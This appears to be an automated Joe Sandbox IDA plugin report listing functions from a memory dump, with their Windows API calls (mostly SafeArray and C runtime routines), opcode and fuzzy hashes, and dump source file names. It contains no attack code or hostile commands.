Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ErrorLast__calloc_crt$CurrentDecodePointerThread___set_flsgetvalue__get_sys_err_msg__getptd_noexit__invoke_watson_strcpy_s
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3117964792-798102604
Opcode ID: 193b49e636b4cc28f9c377165ba36af447d8284ca1ab61fcef3063d2f7364856
Instruction ID: 7b6c17b7b69a98a27cdb74569e5bb40751f94fef164dda41acb38283f4b01734
Opcode Fuzzy Hash: 193b49e636b4cc28f9c377165ba36af447d8284ca1ab61fcef3063d2f7364856
Instruction Fuzzy Hash: 2CF0597760832867C73026296CC096F7EBCDB9176CBC1083AF9289FA00EB26DC004196

Function 689AE9B9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,689D9880,00000008,689AEAC1,00000000,00000000,?,?,689AD7DD,689A9DEF,00000000,?,689A9BD4,68941290,513F6A41), ref: 689AE9CA
__lock.LIBCMT ref: 689AE9FE

Part of subcall function 689B2438: __mtinitlocknum.LIBCMT ref: 689B244E
Part of subcall function 689B2438: __amsg_exit.LIBCMT ref: 689B245A
Part of subcall function 689B2438: EnterCriticalSection.KERNEL32(689A9BD4,689A9BD4,?,689AEA03,0000000D), ref: 689B2462

InterlockedIncrement.KERNEL32(FFFFFEF5), ref: 689AEA0B
__lock.LIBCMT ref: 689AEA1F
___addlocaleref.LIBCMT ref: 689AEA3D

Strings

KERNEL32.DLL, xrefs: 689AE9C5

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 94eec542b4e4719e544bd378a1b2a602adad2cc023a8ed34922b76142e7e4555
Instruction ID: 494ddb8ed37d68318e2e9cf216ba72623b7898570167c3684e7806b0a061fef4
Opcode Fuzzy Hash: 94eec542b4e4719e544bd378a1b2a602adad2cc023a8ed34922b76142e7e4555
Instruction Fuzzy Hash: EC015B75445B009ED720DF69C40575DFBE0EF61329FA08909D496966A0CB71E640CB12

Function 6895E120 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6895E29B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6895E2B6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6895E2D7

Part of subcall function 68965760: std::tr1::_Xweak.LIBCPMT ref: 68965769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6895E309

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6895E523
InterlockedCompareExchange.KERNEL32(689EC6A4,45524548,4B4F4F4C), ref: 6895E544

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: 097fe866d7d07314113b82de31bbc6ea3618e83628c84789be9c0cc1230ba80c
Instruction ID: 8dad1d4b6df07205834da00a786b6ed9da9ca503f915eb686ef867cb840623db
Opcode Fuzzy Hash: 097fe866d7d07314113b82de31bbc6ea3618e83628c84789be9c0cc1230ba80c
Instruction Fuzzy Hash: F5D1D7B5A002049FDF10CFA4C884BAF77B8FF55308F944469E956AB281D776ED50CBA2

Function 68968A9A Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 5a269c5c84819cce5cb9f14562ba6e48c07a254351d20a99b8e432003d26c3f7
Instruction ID: 0d5e686374b8360106078b02a2ff2884801186c1eb7bc3f326a86e2814eae6d9
Opcode Fuzzy Hash: 5a269c5c84819cce5cb9f14562ba6e48c07a254351d20a99b8e432003d26c3f7
Instruction Fuzzy Hash: 3B412B74E016189FDB00DFA9C980A5EB7FDAF89314F60858AE919EB355DB31E881CF50

Function 68968DE8 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 49ac1cfcc5cdf21892005add17ce214d39069a9e1d2be20f066c96bf68d3be45
Instruction ID: 3a9f490568c71afbd202a704f738c77a890a29f65a196be7b6b4cc41320b7fad
Opcode Fuzzy Hash: 49ac1cfcc5cdf21892005add17ce214d39069a9e1d2be20f066c96bf68d3be45
Instruction Fuzzy Hash: F6415B74E006189FDB01DF68CC80B6EB7FDAF89214FA0859AE529E7255C731E980CF50

Function 68960338 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 49ac1cfcc5cdf21892005add17ce214d39069a9e1d2be20f066c96bf68d3be45
Instruction ID: 210759e3eea7412e921404d681e3d9d80f3e7fc209c7086984fd392b9bebd6ae
Opcode Fuzzy Hash: 49ac1cfcc5cdf21892005add17ce214d39069a9e1d2be20f066c96bf68d3be45
Instruction Fuzzy Hash: 53415D74A006099FDB00DFA9CC80F6DB7FDAF89214F60859AE518EB251D771E981CF50

Function 68968BDD Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 02b64e95c376b59648da14796405387add3a9fb2f25177fd787919d8d28b483c
Instruction ID: 1821df71bd6de1e98179274eb5589c546f53690de35da28a86aeee068db3fc2a
Opcode Fuzzy Hash: 02b64e95c376b59648da14796405387add3a9fb2f25177fd787919d8d28b483c
Instruction Fuzzy Hash: EB312774E006189FEB11DBA8CC80B6EB7FDAF89214F60858AE429E7255C775E980CF50

Function 68968CE7 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 07364076eea1c3a52dd7b0c5b80a9f10c4265379c2405238c7f8ac1b24fc7f1c
Instruction ID: 431c43769665f1da9e3f856e586384d242175837328573cb00d1cbafcfc5751a
Opcode Fuzzy Hash: 07364076eea1c3a52dd7b0c5b80a9f10c4265379c2405238c7f8ac1b24fc7f1c
Instruction Fuzzy Hash: 68313974E006189FDB11CFA8CD80B6EB7FDAF99214F608696E429E7255C771E980CF50

Function 68968F83 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b93e90fafea2d1a1e1621e5c5a56d1e65c48d5202d7ef6dd7155e1a863833f25
Instruction ID: b71ab536ea88e3618275ccc1629de9cd38c19560f284e433eb7693acc750f2cd
Opcode Fuzzy Hash: b93e90fafea2d1a1e1621e5c5a56d1e65c48d5202d7ef6dd7155e1a863833f25
Instruction Fuzzy Hash: 6F314B70E006189FDB01CF68CC80B6EB7FDAF89214F608586E529E7241C775E981CF50

Function 689604D3 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b93e90fafea2d1a1e1621e5c5a56d1e65c48d5202d7ef6dd7155e1a863833f25
Instruction ID: ffef9586cba6ca6a55b7b8f31c7f1e68f849042f9e2e758a22ad0258f1a02dc1
Opcode Fuzzy Hash: b93e90fafea2d1a1e1621e5c5a56d1e65c48d5202d7ef6dd7155e1a863833f25
Instruction Fuzzy Hash: A3313970A006089FDB10DFA9CC80B6EB7BDAF89714F60858AE518EB251DB71E9818F50

Function 689605DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 9312333f4209e48847c73630b7938236ab6bdce3f96115d1842b00735ffaa758
Instruction ID: cd73d41c341b82242191cd1c547bad15525ea4b12d0aa094afaa7b10aa1bd7d4
Opcode Fuzzy Hash: 9312333f4209e48847c73630b7938236ab6bdce3f96115d1842b00735ffaa758
Instruction Fuzzy Hash: 393128B4A006189FDB00DBA9CD80B6DB7FDAF99214F60859AE518EB251D771E980CF50

Function 68960668 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 77952365b826e7e386f519eaa9a8d63d1ba55f4e763dbdcfdab57c31556c2948
Instruction ID: 611f143ec854ddcad5c3def315ec212e50de0f76bdb6f9e3078d7449bcb0f73e
Opcode Fuzzy Hash: 77952365b826e7e386f519eaa9a8d63d1ba55f4e763dbdcfdab57c31556c2948
Instruction Fuzzy Hash: 6F313C74A006199FDB00DFA9CD80B6DB7FDAF89314F60859AE518EB251CB71D980CF50

Function 6896908A Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 9312333f4209e48847c73630b7938236ab6bdce3f96115d1842b00735ffaa758
Instruction ID: 943568b776b23e322ee71fbdd7c504dcfd59f4719acee0bf1d9cc8016b895ed1
Opcode Fuzzy Hash: 9312333f4209e48847c73630b7938236ab6bdce3f96115d1842b00735ffaa758
Instruction Fuzzy Hash: F6314874E006189FDB01CBA8CD80B6EB7FDAF89214F60858AE529E7245D731ED80CF50

Function 689691A9 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 15bcee82584ddef1bc5da76bfcaab540597d7e1bc81ab99fad4b880ad3c92c0a
Instruction ID: 6060eb493262671ee27b563d04b5cd4b22c9d9164445095b4cfb8ca1abf9061f
